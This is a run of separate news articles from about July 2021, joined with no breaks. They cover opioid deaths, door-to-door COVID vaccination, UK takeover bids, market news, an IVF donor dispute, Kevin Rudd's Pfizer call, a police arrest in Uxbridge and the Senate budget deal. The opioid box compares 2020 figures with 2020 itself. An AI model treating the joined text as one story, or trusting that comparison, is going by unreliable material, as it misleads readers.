HOW AMERICA GOT HOOKED ON OPIOIDS Prescription opioids and illicit drugs have become incredibly pervasive throughout the US, and things are only getting worse. In the early 2000s, the FDA and CDC started to notice a steady increase in cases of opioid addiction and overdose. In 2013, they issued guidelines to curb addiction. However, that same year - now regarded as the year the epidemic took hold - a CDC report revealed an unprecedented surge in rates of opioid addiction. Overdose deaths are now the leading cause of death among young Americans - killing more in a year than were ever killed annually by HIV, gun violence or car crashes. In 2019, the CDC revealed that nearly 71,000 Americans died from drug overdoses. This is up from about 59,000 just three years prior, in 2016, and more than double the death rate from a decade ago. It means that drug overdoses are currently the leading cause of death for Americans under 50 years old. The data lays bare the bleak state of America's opioid addiction crisis fueled by deadly manufactured drugs like fentanyl. Advertisement

The data showed that overdose deaths from synthetic opioids, primarily fentanyl, and psychostimulants including methamphetamine rose in 2020.

Overdose deaths from cocaine also increased as did deaths from natural and semi-synthetic opioids like prescription medications.

The overall national opioid prescribing rate has been declining since 2012 and, in 2017, the prescribing rate had fallen to the lowest it had been in more than 10 years.

In fact, the number of opioid prescriptions has decreased by 37 percent between 2014 and 2019, according to the American Medical Association.

However, many people can't afford prescription painkillers anyway and end up turning to street drugs.

The pattern of drugs involved in overdose deaths has changed in recent years, moving away from heroin and natural opioids to synthetic opioids including fentanyl.

According to the Defense Intelligence Agency, 68 percent of fentanyl and precursors used to make the drug originate in China.

These factory-produced drugs, cheap and easy to make, are sold either directly to the U.S. or via trafficking networks set up in Mexico.

According to the Southern Nevada Health District, Clark County - of which Las Vegas is part - saw 63 deaths involving fentanyl among residents up to August of 2020.

Over the same period in 2020, there were 28 fentanyl deaths, which indicates an increase of 125 percent.

In San Diego, there have been 203 fentanyl-related deaths in the first six months of 2020, the U.S. Drug Enforcement Administration reported.

By comparison, there were 152 fentanyl-related overdose deaths in San Diego County in all of 2019.
Door-to-door COVID-19 vaccination efforts are underway in three U.S. states after President Joe Biden announced the controversial initiative last week.

Counties in North Carolina, Georgia and Wisconsin have all launched strategies to go to people's homes and share information on COVID-19 vaccines.

In some instances, officials will deliver the COVID-19 vaccines right to people's doors, removing transportation barriers some may face in getting a shot.

However, several states such as South Carolina and Missouri have both rejected federal help for door-to-door vaccine programs in their state, calling it federal overreach.

North Carolina, Georgia and Wisconsin are using door-to-door vaccine programs to deliver the vaccines and fight vaccine disinformation in local communities

North Carolina launched their 'Doses to Doors' initiative in Mecklenburg County, the state's second most populous county which includes Charlotte - the biggest city in the state.

Currently, 49 percent of residents in Mecklenburg County are fully vaccinated, among the higher rates in the state.

Volunteers are canvassing communities in the counties with lower vaccination rates, providing them information on the immunizations.

If they want, residents can also receive a single dose of the Johnson & Johnson vaccine.

'We're not confrontational, it's not like you have to get the shot,' Robert Dawkins with Action NC, a non-profit providing volunteers for the program, told WBTV.

'But our job is to dispel rumors and things.'

County residents can also schedule an at-home vaccine appointment online.

A similar program has been launched in Randolph County, Georgia - a remote, primarily black, rural county more than 100 miles south of Atlanta.

The remote county has little access to information compared to many others, and the lack of infrastructure in the area has presented barriers to getting the vaccine.

For example, many vaccine appointments can be booked online, but around one-third of Randolph County residents do not have internet access, according to CNN.

Many do not have access to information on the vaccines, are skeptical of their effectiveness or believe false notions about the safety of the vaccines.

'If they still say that they want to wait and see, I listen, but it's kind of baffling, because I always ask: "What are you waiting for? To see how well things are going to go? We already know that. They go well when people are protected,"' Joyce Barlow, a nurse who is taking part in the program, told CNN.

Similar to North Carolina, Barlow and her team are going into the local community to deliver information about the vaccines to people and even offer them the shots if they would like.

The Milwaukee Health Department in Wisconsin is taking on a similar initiative because less than half of Milwaukee County's population is vaccinated.

'It's very important that we get out here and educate the people in this community about COVID and the dangers of it,' said Marcus Austin, a man volunteering for the program in Milwaukee, said in a press conference.

Austin, who is black himself, said he was inspired to volunteer after seeing many in the black community not get vaccinated in the early months of the vaccine rollout.

The door-to-door programs have not come without controversy, though.

Many Republicans instantly pushed back on door-to-door vaccine campaigns, calling it federal overreach.

Rep Marjorie Taylor Greene, who represents a northwestern district in Georgia, took to Twitter to compare the volunteers administering vaccines door-to-door to 'brown shirts' - a 1920's Nazi militia that aided Adolf Hitler's rise to power.

'Biden pushing a vaccine that is NOT FDA approved shows covid is a political tool used to control people,' she tweeted.

'People have a choice, they don't need your medical brown shirts showing up at their door ordering vaccinations. You can't force people to be part of the human experiment.'

Rep Greene's office did not return a DailyMail.com request for comment.

South Carolina and Missouri have even taken to rejecting the programs outright.

'The prospect of government vaccination teams showing up unannounced or unrequested at the door of "targeted" homeowners or on their property will further deteriorate the public's trust,' South Carolina Gov Henry McMaster wrote in a letter on Friday.

South Carolina Gov Henry McMaster said last week that door-to-door vaccination efforts would 'further deteriorate the public's trust' in the vaccines

Only 45 percent of South Carolinians have received at least one dose of the vaccine, placing them among the ten states with the lowest vaccination rates.

Missouri is currently facing the largest COVID-19 surge in the country.

In the past two weeks, cases have grown by 38 percent from 938 cases per day two weeks ago to 1,298 per day as of Tuesday.

Only 46 percent of residents of Missouri have received at least one dose of a COVID-19 vaccine.

'I have directed our health department to let the federal government know that sending government employees or agents door-to-door to compel vaccination would NOT be an effective OR a welcome strategy in Missouri!' Gov Mike Parsons tweeted last week.

White House press secretary Jen Psaki fired back at those criticizing the program, saying it is 'a disservice to the country' that is 'literally killing people.'

'The failure to provide accurate public health information, including the efficacy of vaccines and the accessibility of them to people across the country, including South Carolina, is literally killing people, so maybe they should consider that,' she said ON Friday.

The White House had previously set a goal of getting 70 percent of American adults vaccinated by July 4, which the country missed.

Currently, only 67.7 percent of American adults have received at least one shot of a COVID-19 vaccine, with nearly 59 percent fully vaccinated.

Cases are rising once again in the United States as well, as the highly contagious Indian Delta variant begins a sweep through the nation.

Across America, new daily cases have increased by 88 percent over the last two weeks, from 12,262 on June 29 to 23,148 on July 12.
More than 200 companies listed on the UK stock market are vulnerable to predators as private equity scours Britain for takeover deals, according to City analysts.

In a 60-page report, broking firm Canaccord Genuity warned that a string of households names including Marks & Spencer, Sainsbury's, Vodafone and ITV could become bid targets before the end of the year.

The fresh analysis comes as private equity giants swoop on financially sound companies whose value has been depressed by the coronavirus crisis, in an attempt to buy them on the cheap.

Feeding frenzy: So far this year buyout firms have spent 23.3bn buying 113 British companies - the fastest pace of deal making since 2007

The feeding frenzy has been described as 'pandemic plundering'.

So far this year buyout firms have spent 23.3billion buying 113 British companies  the fastest pace of deal making since 2007.

Firms that have been targeted since Covid-19 struck include supermarkets Asda and Morrisons, security firm G4S and the AA.

In the report, Canaccord said that the second half of this year was likely to be 'just as frenzied' as the first, as share prices are still 'depressed'.

Data shows UK stock market valuations remain weak compared to their European and US rivals despite Britain's rapid coronavirus vaccination programme.

Canaccord analyst Graham Simpson said: 'The deals are getting bigger and bolder.

Upper Crust boss quits The boss of Upper Crust owner SSP Group is quitting for private equity after just two years in the job. The company's pandemic nightmare continued as Simon Smith, 49, said he will leave by the end of the year. SSP outlets at railway stations and airports were hammered by the pandemic and around 4,000 jobs were axed. At one stage, just ten of its 580 UK sites were open, eight of them in hospitals. Its brands include Ritazza and Camden Food Co. Its shares, down nearly 80 per cent in the pandemic, fell 4.3 per cent, or 11.3p, to 253.1p, and are 55 per cent below pre-Covid levels. Jamie Rollo, analyst at Morgan Stanley, said: 'It is clearly unexpected and disappointing news, as his predecessor Kate Swann left in May 2019.' SSP said business is picking up as lockdown restrictions ease, with trading last week at 42 per cent of 2019 levels.

'It won't stop as we are trading at a discount to global markets. It is concerning.'

Canaccord identifies more than 200 companies that could become takeover targets.

Within this, it highlighted 65 'top picks' which it described as 'low-hanging fruit' for predators.

The hit list includes Persimmon, Dixons Carphone, Kingfisher, Sainsbury's, Capita, Bloomsbury, ITV, Vodafone and Halfords.

These companies appear particularly attractive to bidders as they would provide 'much-needed growth without having to go through a restructuring or refinancing,' according to Canaccord.

The report went on to add: 'Depressed UK asset prices are now attracting offers, mainly from cash-rich private equity 'barons' riding into town.

'It is unprecedented and shows the true extent of the UK plc undervaluation relative to global peers in our view.

'We believe UK plc valuations continue to be very attractive so we don't expect the current trend to abate.'

In recent weeks there has been a fight-back against the plundering, with politicians on both sides of Parliament urging the Government to step in.

The Daily Mail has highlighted the problem and on Monday a string of Tory MPs as well as Labour's Ed Miliband publicly backed this paper's campaign.

With pressure building, Business Secretary Kwasi Kwarteng will meet Morrisons chief executive David Potts tomorrow to demand that he explain his rationale for backing the 6.3bn bid from a consortium headed by Fortress private equity.

But Simpson, who wrote the Canaccord report, wants to see more shareholders, and in particular City fund managers, stand up to the predators and vote against the deals.

Aerospace components maker Senior recently fended off a takeover, turning down five offers from private equity outfit Lone Star.

And two weeks ago Legal & General Investment Management slated the Fortress bid for Morrisons, saying that the takeover was taking place for all the 'wrong reasons'.

Simpson said the mounting concerns should at the very least result in higher offers, rather than the current spate of low-ball bids.

He said: 'We may see higher initial bids now that institutional investors are starting to push back publicly. That may also prompt private equity firms to increase their initial offers, as low, opportunistic offers can antagonise managements and investors.

'We might also expect management teams to hold out instead of recommending the first offer that comes along.'
Sales boomed at Dunelm as shoppers flocked back to its bricks-and-mortar stores once Covid restrictions loosened over the spring.

Customers stocked up on cushions and bedding as the retailer brought in revenues of 380million in the 13 weeks to June 26.

This was double the same period of last year, which covered the first and strictest UK lockdown.

Soaring sales: Shoppers flocked back to Dunelm's bricks-and-mortar stores once Covid restrictions loosened over the spring

And it was 44 per cent higher than in 2019, which many view as a better comparator. Over 12 months, Dunelm's sales have risen by a quarter to more than 1.3billion.

As a result, the group has raised its profit guidance and told the City that it expects to make 158million  ahead of forecasts of 149million to 153million. The boom is likely to keep coming, Dunelm added, as consumers 'improve and refresh their homes'.

Keith Bowman, analyst at Interactive Investor, said: 'A buoyant housing market and more time at home due to the Covid crisis are likely playing into its hands.'

Despite the good news, Dunelm slid 6.3 per cent, or 90p, to 1349p. Bowman countered that a 'more than doubling in the share price since pandemic market lows in March 2020 has already priced in much of the good news'.

Stock Watch - Open Orphan Pharmaceuticals services provider Open Orphan made gains after it reported a double dose of good news. The AIM-listed groups Dutch arm, Breda, has clinched a 765,000 contract to assist an unnamed existing client with clinical trials. And the UK government has expanded a Covid study Open Orphan is working on  alongside the Vaccine Taskforce, Imperial College London and the Royal Free London Hospital  which will recruit around 20 volunteers. Open Orphan did not say how much more it would earn from the extension. Shares rose 3 per cent, or 0.75p, to 26p.

But others might have clocked the warning that it is seeing some disruption and pressures in its supply chain  understood to be referring to the shortage of shipping containers worldwide that is making it trickier for firms to get products delivered.

After the market had closed, B&Q-owner Kingfisher also revealed it is still benefiting from the extra love and attention people are pouring into doing up their homes.

Britons' new-found enthusiasm for DIY since Covid struck and the rush of house buying led Kingfisher (down 1.4 per cent, or 5.2p, to 362.3p) to hike its guidance.

It now expects first-half sales to be around 22 per cent higher  it previously said it would be in the teens  and profits to be up to 660million, a sharp increase from forecasts of up to 600million.

Housebuilder Barratt Developments also got in on the act, telling shareholders it would make more than 800million in annual profits as home sales have exploded in the rush to get deals over the line before the end of the stamp duty holiday.

Barratt rose by 2 per cent, or 14.2p, to 711p, but the wider market was gloomier.

The FTSE 100 fell 0.5 per cent, or 33.53 points, to 7091.19, while the FTSE 250 fell 0.8 per cent, or 176.77 points, to 22,750.04 as both were dragged down by travel stocks.

Oil prices rose above $76 a barrel as it emerged that Saudi Arabia and the UAE were close to resolving a dispute that put the future of a production agreement among the entire Opec+ cartel at risk.

The countries are on the brink of striking a deal that will set out how much the member states can gradually start increasing their oil output by.

Brent crude was trading at $76.18 a barrel, while Royal Dutch Shell fell 0.6 per cent, or 8.4p, to 1409p and BP slipped by 0.4 per cent, or 1.15p, to 304.75p.

Beleaguered energy group Tullow Oil bucked the trend, however, rising 1.8 per cent, or 0.94p, to 52.16p after 'excellent' progress in the first half.

Elsewhere, David Beckham-backed Guild Esports tumbled 8.8 per cent, or 0.71p, to 7.35p after boss Carleton Curtis made the 'personal decision' to step down.

As executive chairman, Carleton had navigated it through its stock market listing last October.

The esports company is setting up its own teams to compete in online video game tournaments, where they play the likes of Fifa and Fortnite. Board director Derek Lew steps in as non-executive chairman.

Over on AIM, non-bank lender Lendinvest had a stellar first day of trading, ending at 197.5p after going public at 186p per share.
A couple's dream of becoming parents has been shattered after their IVF sperm donor changed his mind and insisted any embryos created must be destroyed.

Jess and Leroy Natoli had long dreamed of starting a family, but last Friday, those hopes were dashed when their donor opted out of the Victorian clinic's program.

The decision means the three 'babes on ice' the Natoli's had ready to transfer - made with Jess's eggs and the donor sperm - are no longer available to use, and the couple must start from scratch if they want to realise their dreams of parenthood.

'Those embryos are half genetically ours,' Jess told Daily Mail Australia.

'The three potential chances of expanding our family will be terminated based on the decision of this human.... To knowingly and consciously make this decision is selfish.'

According to Victorian legislation, a donor is permitted to withdraw consent for the use of their sperm or eggs up until potential transfer of a created embryo.

No other state or territory in Australia has such lax rules.

Jess and Leroy Natoli have long dreamed of starting a family, and put plans in place to ensure that when the time was right, they would be ready to go

Jess and Leroy described the decision - and the legislation which allowed it - as 'shameful, appalling and heartbreaking all at the same time'.

The couple were informed by their IVF clinic manager that five other families were also impacted by the donor's decision - including one couple who had a child already and were preparing to give their child a sibling.

Those embryos are half genetically ours... We had no say

Excluding medication and counselling appointments, the couple has already spent more than $35,000 on their IVF journey.

Beyond the financial loss, Jess said the couple is devastated by the amount of time they've wasted in the process.

'Time can't be measured, some days its 24/7 worrying, crying because you're so emotional from all the hormones. We started more than 12 months ago and now we're back to stage one.

'The whole year and the hard work and emotion that went into this has been voided.'

The couple were informed by their IVF clinics manager that five other families were also directly impacted by the donor's decision. Pictured with a bag from their IVF clinic after creating their embryos

Both Jess and Leroy dreamed of being parents even before they met, so very quickly after developing a relationship they started to seriously consider IVF treatments.

After six months of dating they started extensive research and by June 2020, they had their first clinic appointment.

Jess was also diagnosed with polycystic ovary syndrome and adenomyosis, so they were prepared for the road to be a little tougher than most.

They'd had three unsuccessful embryo transfers and were preparing to start a new cycle with their three remaining embryos when their donor made the decision to withdraw consent.

'We have no say in this choice whatsoever,' they said.

The donor had the option of allowing the existing allocated families who already had embryos to keep them, but he instead chose to destroy them.

The clinic manager who called Jess said that in her 10 years in the industry, she'd never known a donor to destroy already established embryos.

They'd had three unsuccessful embryo transfers and were preparing to start a new cycle with their three remaining embryos when their donor made the decision

'My body seized up,' Jess said. 'I couldn't breathe. It didn't seem real. It did and still does feel like a bad dream.'

The Natoli's shared their experience on social media support groups and eventually were connected with another family who had also been impacted by the decision of the same sperm donor.

In that case, the couple had already conceived a child through the donor, who was already three years old, and were preparing to try again for a second.

Both families have since discussed their own experiences and are now looking at ways to support each other.

In the meantime, Jess and Leroy are making plans to start all over again.

'Appointments, blood scans, tests, ultrasounds, egg harvesting under sedation, choosing a new donor, creating embryos, putting them in storage, planning transfers around my cycles, it's a bloody long process,' Jess explained.

The Natoli's are calling on the Victorian government to amend the legislation to protect families like them via a Change.org petition

To compensate them, their old clinic in Melbourne has offered a 'bulk billed cycle' in which they would still have an out of pocket cost. But they'd also have to travel interstate from their new home in South Australia to take up the clinic on the offer.

The Natoli's are calling on the Victorian government to amend the legislation to protect families like them via a Change.org petition.

They argue it makes absolutely no sense to give a stranger the power to decide on 'the fate of a family once embryos are created with 50/50 genetics'.

From the point of donation, the Natoli's are calling on the government to relinquish all donor rights and hand them over to those 'who rely on the kindness of strangers to start a family'.

'When you became a donor, your reason for donating was to give people life and that's the greatest gift you would give.

'Yet so easily you have made the decision to take life away from the families who would and have sacrificed so much to gain one.'

The couple will continue to document their journey to starting a family and the outcome of the petition on their social media. Readers can follow along here.
In a customary media blitz last Friday, Scott Morrison triumphantly announced millions of coveted Pfizer vaccines would be shipped to Australia earlier than planned following weeks of talks between the government and the U.S. pharmaceutical giant.

In TV and radio interviews across Australia, Mr Morrison praised Health Minister Greg Hunt, Health Department Secretary Brendan Murphy and Covid taskforce boss Lieutenant General John Frewen for 'the great job we've been doing to get those supplies brought forward'.

But it turns out there was another person involved in conversations with Pfizer who Mr Morrison didn't mention: Former Labor prime minister Kevin Rudd.

Kevin Rudd speaks to Scott Morrison in 2012 when both had very different jobs - Mr Rudd as a recently deposed Labor PM and Mr Morrison as shadow immigration minister

US President Joe Biden listens to Pfizer CEO Albert Bourla making a statement at the G7 summit in Cornwall

On June 30, while government officials and Pfizer representatives were locked in talks as Sydney's Covid outbreak worsened, the ex-Labor leader fired up his computer from his home in Queensland and held a video call with Pfizer's global boss Albert Bourla in New York.

The pair had been put in touch by a prominent Australian businessman in the United States - where Mr Rudd runs the Asia Society & Asia Society Policy Institute - who had tried and failed to lobby Pfizer himself in two meetings in late June.

Securing earlier Pfizer doses: A timeline Mid June: Government begins talks with Pfizer to bring forward doses Late June: Aussie businessman in the US has meetings with Pfizer bosses - but is knocked back The businessman asks Kevin Rudd if he would talk to Pfizer CEO June 30: Mr Rudd texts Mr Morrison to say he would be meeting Albert Bourla The meeting goes ahead and Mr Rudd writes a letter to PM afterwards Mr Morrison sends a 'civilised' text back to Mr Rudd July 8: Government secures earlier delivery of Pfizer, as reported by The Australian July 9: PM announces earlier delivery and thanks Greg Hunt in several media interviews July 11: Mr Rudd's letter to the PM revealing his meeting is leaked to the ABC July 12: Government denies Mr Rudd made any difference. Mr Rudd accuses government of botching jab rollout Advertisement

Before the call, Mr Rudd texted Mr Morrison to ask if there was anything he should say - but he got no response.

A source has told Daily Mail Australia the call was 'pleasant' and 'cordial' and concluded with the pair agreeing to meet up in New York when Mr Rudd returns to the US later this year.

The source said Dr Bourla took Mr Rudd's call because he respects him as the boss of the Asia Society and a 'leading authority' on China.

'In Australia, he's known as a former prime minister, but in the US he's known for running one of the biggest think tanks in the world and often calls high-profile people,' the source told Daily Mail Australia.

Mr Rudd then wrote a letter to Mr Morrison explaining that Dr Bourla agreed to 'look at what further might be able to be done' to speed up the vaccine supply.

The Prime Minister texted Mr Rudd later that day with a 'civilised response'.

Eight days later, the Australian government concluded the deal to bring forward some of the 40million Pfizer doses ordered so that 1million a week would arrive from July 19, providing a significant boost to the sluggish vaccine rollout.

Mr Rudd's involvement only became public when the letter he sent Mr Morrison appeared in an ABC article on Sunday night.

The former PM denied leaking the letter himself, which suggests he had sent it to someone else who passed it on to the media.

Defence Minister Peter Dutton accused Mr Rudd of 'trying to take credit' for the deal and Health Minister Greg Hunt said his intervention did not help because the government was already on the case.

Daily Mail Australia understands the government had been in talks to bring forward the Pfizer doses since mid-June when the Sydney outbreak began.

But Mr Morrison's critics, including former Liberal prime minister Malcolm Turnbull, have queried he didn't call Dr Bourla directly.

'Why would you not make a few calls to make sure Australians are vaccinated,' Mr Turnbull said.

Former prime minister Kevin Rudd (pictured with his wife Therese Rein) called the global boss of Pfizer on June 30

Mr Morrison (pictured on Tuesday) said he had discussed the vaccine rollout with senior Pfizer executives at the G7 summit in Cornwall

The Prime Minister said on Monday he has been negotiating with the Australian head of Pfizer rather than the global head, and said he 'welcomed' the support of 'anyone who wants to assist'.

Mr Morrison told 2GB on Tuesday that he had discussed the vaccine rollout with senior Pfizer executives at the G7 summit in Cornwall.

Asked on Tuesday morning if he was the man who secured the deal, Mr Rudd told ABC radio 'of course not'.

But he left open the possibility that his intervention helped, saying: 'I was just doing my bit, what material effect it had at the end of the day, I don't know and we probably will never know.'

Kevin Rudd (pictured) may have helped Australia secure early delivery of millions of Pfizer vaccines eight days after he called the company's boss

Health Minister Greg Hunt (pictured on Monday) said he 'chuckled' when he saw a story online about Kevin Rudd meeting the boss of Pfizer

Mr Rudd told the ABC he only made the call because he was asked to by Aussie businessmen.

He said: 'I would never have picked up the phone to the head of Pfizer unless I'd been approached by senior corporates who had already tried, through their own intermediaries, with Pfizer senior management, to open the door.'

He slammed Mr Morrison for not calling Dr Bourla himself and said he had heard that Australian negotiators were 'rude and dismissive' in dealing with Pfizer last year - something the government has denied.

'This stands in stark contrast, as I was advised, to the approach taken by other heads of government around the world, led by the prime minister of Israel, who spoke to the head of Pfizer some 17 times,' he said.

During the meeting, Mr Rudd asked Dr Bourla if he could dispatch some of Australia's 40million contracted jabs earlier than planned given the outbreak in Sydney.

He said that acting in a personal capacity as an Australia citizen he asked Dr Bourla 'whether there was any possible way, given Pfizer's current international contractual obligations, to advance the dispatch of significant quantities of the Pfizer vaccine to Australia as early as possible in the third quarter this year'.

Mr Rudd, who runs the Asia Society think tank in New York, wrote this letter to Prime Minister Scott Morrison to explain what happened in the meeting on June 30

He added: 'Dr Bourla indicated that they had limited flexibility because of their existing supply obligations around the world. Nonetheless, he also indicated that a number of their manufacturing facilities were producing ahead of schedule.

'In response to my representations, Dr Bourla said he would personally look at what further might be able to be done. I thanked Dr Bourla for that.'

On July 8, the government announced a deal with Pfizer to bring in at least a million vaccines a week from July 19, meaning more than 4.5million jabs will arrive in August.

Previously only three million doses were expected in August and 4.5million were due in September.

A spokesman for Mr Hunt said the minister knew about Mr Rudd's meeting but was 'not aware' it made any difference.

'The Australian government at all levels have been proactively and continuously engaged directly with Pfizer throughout the Covid-19 vaccine rollout,' the spokesman said.

Pfizer says Rudd had no role in contractual agreements A spokesman said: 'Recent media reports suggesting that any third party or individual has had any role in contractual agreements reached between Pfizer and the Australian Government are inaccurate. The only two parties involved in these agreements are Pfizer and the Australian Government. 'Pfizer is committed to delivering 40 million doses of the Pfizer-BioNTech COVID-19 vaccine to Australia over 2021. Pfizer has met its contractual commitments to date and is on track to deliver the remaining doses by the end of the year. 'All agreements and supply arrangements, including dose planning are exclusively made with the Federal Government, and details of the agreement and discussions are confidential. All discussions on supply and procurement with the Federal Government are led by Pfizer representatives in Australia. 'Pfizer has a strong relationship with the Federal Government with continuous engagement both locally and globally in support of the national vaccine program including supply requests.' Advertisement

'As part of this process, the minister has met with the Pfizer Australia country head Anne Harris on multiple occasions with a view to the announcement Friday on the timeframe achieved and at the level we had hoped for, which was the maximum that Pfizer had indicated might be available.

'While we were made aware of Mr Rudd's approach, we are not aware this approach had any impact on the outcome.'

In a press conference on Monday Mr Hunt said he laughed when he saw an article about the meeting.

'I had a little chuckle when I saw the story,' Mr Hunt told reporters on Monday.

'We received a letter from the individual in question, I think, not long ago and we said to ourselves, ''Well, no doubt that will be released when our current negotiations are announced''. That is exactly what happened.'

Later on Monday Mr Rudd said he never claimed to have influenced 'contractual arrangements' and accused the government of 'botching' the vaccine rollout.

His spokesman released a statement, saying: 'Mr Rudd sought this meeting at the urging of senior Australian business leaders, who were deeply concerned by the government's failure to lobby Pfizer at its most senior levels as many other world leaders have over recent months.

'As the letter records, Mr Rudd spoke with Dr Bourla in a personal capacity as a concerned private citizen  not as a representative of the federal government.

'Mr Rudd also indicated that he was not seeking to negotiate on the government's behalf and any contractual arrangements needed to be made with officials.

'Mr Rudd's letter is entirely consistent with public statements by Pfizer.

'Mr Rudd has not claimed responsibility for decisions by Pfizer and  as he made clear to Mr Morrison  all negotiating powers rested with the federal government.

'Mr Rudd would definitely not seek to associate himself with the Australian Government's comprehensively botched vaccine procurement program.'
Shocking footage shows an officer kneeing a youth in the face as he arrested him on a west London street.

Police said the incident, in Uxbridge on July 9, is being investigated by the Met's Directorate of Professional Standards following a complaint.

The footage was shared online on July 11, by a woman who said the youth was 15 and her cousin.

In the clip, the officer can be seen grappling with the teen before kneeing him twice in the face.

The teen's friends can be heard screaming: 'Get off him!' as one girl in a green jacket tries to pull the policeman away.

The boy's 'cousin' said the teen had to be hospitalised after being left with concussion.

The clip posted online starts with a man - believed to be a security guard - throwing the boy to the ground and sitting on him.

The teen then manages to half stand up as the same man keeps him in a chokehold.

A Met police officer is filmed kneeing a boy, believed to be aged 15, in the face in Uxbridge, west London on July 9

It is then that a police officer, who had been talking to a witness nearby, approaches the pair.

Footage taken from both sides shows him grappling the teen before kneeing him twice in the face.

The footage was shared on Instagram with the caption: 'My fifteen-year-old cousin was stopped and searched with nothing on him, but was still assaulted by a big security guard in Uxbridge who slammed and man handled him.'

She said the teenager was left with a concussion and multiple injuries in which he was hospitalised for six hours.

She added: 'They need to be held accountable. Having a badge shouldn't make you untouchable.'

Witnesses told Mail Online the incident happened on Friday down an alleyway off the busy central Windsor Street.

Footage taken from two different angles shows the moment the policeman takes down the teen with the help of security guards

They thought the security guards may have been working at a nearby off-licence or pub.

Metropolitan Police said in a statement: 'Police were called to Windsor Street, Uxbridge, at 19.11hrs on Friday, July 9, to reports of officers being assaulted.

'A male was arrested on suspicion of common assault and obstruction of a drugs search.

'During the arrest, force was used to detain him after he resisted the efforts of a police officer and two nearby security guards.

'The male was taken to hospital as a precaution and later discharged and taken into custody. He has since been released under investigation.

'Two females and a male were detained and arrested on suspicion of public order offences. They were subsequently de-arrested.

'The matter has been referred to the Met's Directorate of Professional Standards (DPS) as a complaint has been received.'
Senate Democrats announced Tuesday night that they have reached a budget agreement among themselves that envisions spending an enormous $3.5trillion over the coming decade.

The plan is far less than the $6trillion that Democrats initially wanted, but it did not have the support of moderate centrists in the caucus.

The $3.5trillion plan includes $600 billion in new spending on physical infrastructure and investment in climate change, health care and family-service programs sought by President Joe Biden.

Democrats will seek to bypass a Republican filibuster by winning passage through budget reconciliation.

Reconciliation only requires a simple majority in the Senate. With the upper chamber at a 50-50 tie between Republicans and Democrats, Vice President Kamala Harris can cast the tie-breaking vote.

Senate Majority Leader Chuck Schumer, a Democrat from New York, announced the accord flanked by all 11 Democrats on the chamber's budget committee after a two-hour evening meeting that capped weeks of bargaining among party leaders, progressives and moderates.

Bernie Sanders, who was one of the proponents of the $6trillion package, said the agreement was a 'pivotal moment in American history'.

Senate Majority Leader Chuck Schumer, a Democrat from New York, announced the accord flanked by all 11 Democrats on the chamber's budget committee after a two-hour evening meeting on Capitol Hill on Tuesday

'Tonight the Senate Budget Committee reached an agreement on a fully paid-for $3.5T topline budget which includes funding for climate, education, Medicare expansion, family programs, and more,' Senator Mark Warner tweeted on Tuesday

Now the Democrats have to persuade moderates in the Senate including Joe Manchin to vote for the legislation, after he called for the package to be as low as $2trillion.

If congressional Democrats rally behind the proposal and turn it into a budget resolution they can push through Congress in coming weeks, it would help them enact a subsequent, sweeping bill that would actually fund their priorities.

Earlier on Tuesday, a bipartisan group of senators worked late into the night to shore up a $1trillion infrastructure compromise they struck with Biden even as momentum shifts to a more robust Democratic proposal that's coming into focus.

Biden's big infrastructure proposals are moving on parallel tracks in Congress in a race against time and political headwinds to make a once-in-a-generation investment in the nation.

Senators from both groups huddled privately again Tuesday evening.

The bipartisan deal appeared back on track, with senators upbeat as they aimed for a new Thursday deadline to wrap up the details despite opposition from business leaders, outside activists and some GOP senators over how to pay for it.

'Rolling, rolling, rolling,' said Senator Lisa Murkowski, a Republican from Alaska, as she exited a nearly three-hour meeting of the more than 20 senators involved in the effort.

A 'productive' meeting, said Senator Krysten Sinema of Arizona, a Democratic leader of the bipartisan effort.

As one meeting was wrapping up, another was being launched down the hall across from Schumer's office.

Schumer convened Democrats on the Budget Committee with White House officials to negotiate a topline framework for Biden's more expansive proposal. It could swell beyond $3.5trillion.

Biden is proposing a multitrillion-dollar package of investments, among the most substantial undertakings of its kind, some say on par with the New Deal in the 1930s.

From building back roads and bridges to investing in the everyday services Americans depend on like child care, elder care and broadband, the proposals reach all corners.

Underpinning the investments are efforts to combat climate change with energy efficiency and weather resiliency.

The $3.5trillion plan includes spending for climate change, health care and family-service programs sought by President Joe Biden (pictured in Washington on Tuesday)

The bipartisan effort was thrown into doubt earlier Tuesday when Republicans said it was unlikely it would be ready for a vote next week, as hoped.

But senators exiting the meeting suggested they hadn't so much resolved the questions over how to pay for the package but moved past them - apparently accepting that some of the proposed revenue streams may not pass muster in formal assessments by the Congressional Budget Office, the lawmakers' main fiscal scorekeeper.

Senator Joe Manchin, a Democrat from West Virginia, said he hoped that CBO's score, as it is called, would show that 'everything's paid for. If not, well have to make some adjustments.'

Even if the bipartisan group can meet its new deadline for agreement, it's still a longshot the bill would be ready for a vote next week.

'We hope to get most issues resolved by Thursday, but there will surely be others after that,' said Senator Mitt Romney, a Republican from Utah.

Paying for the new infrastructure was always going to be a challenge, which is partly why public works investments have lagged over time.

Biden has proposed raising taxes on corporations and wealthy Americans earning more than $400,000 a year, which would cover not only the nearly $1trillion proposal, but also the broader Democratic plan.

Republicans reject that approach.

Instead, the bipartisan group of senators racing to salvage its plan strained to come up with other revenue streams to fund the $1trillion package, which includes about $579billion in new spending beyond regular expenditures that are funded by gas taxes and other sources.

One proposal to go after taxpayers who skip out on income taxes initially had potential bipartisan appeal, but now is being lambasted by the outside groups as a way to enable the IRS to snoop around Americans' personal finances.

It would boost the IRS by $40billion to bolster staff to audit tax returns, unleashing as much as a $100billion net increase in revenues to federal coffers.

Senator Kevin Cramer, a Republican from North Dakota, said funding the IRS to audit potential tax scofflaws 'is just way too undefined and nebulous and frankly eerie-sounding to most Republicans to be serious, in my view.'

Another proposal calls for reinstating fees that chemical companies used to pay for cleaning up the nation's worst hazardous waste sites, which could bring in about $13billion over 10 years.

Those fees were allowed to expire in 1995, and the cleanup efforts are funded by general revenues.

Biden has called for restoring the fees 'so that polluting industries help fairly cover the cost of cleanups.'

But the American Chemistry Council called on lawmakers to remove the fees, saying they would likely be paid by consumers in the form of higher costs.

Schumer is seen above speaking to reporters in Washington on Tuesday

Money could come from $125billion in COVID-19 relief funds approved in 2020 but not yet spent, as well as untapped unemployment insurance funds, among a hodgepodge of other sources.

Ed Mortimer of the US Chamber of Commerce said some of the group's members have concerns about some revenue sources in the bipartisan framework, but he added, 'This is an investment we believe is worth making.'

Senate Minority Leader Mitch McConnell, a Republican from Kentucky, said he remained hopeful the bipartisan effort could proceed.

But his earlier insistence that it 'ought to be credibly paid for' signaled the partys stance.

Ten Republican senators would be needed to back the bipartisan bill, joining with all 50 Democrats to reach the 60-vote threshold typically required to overcome a filibuster and advance it toward passage.

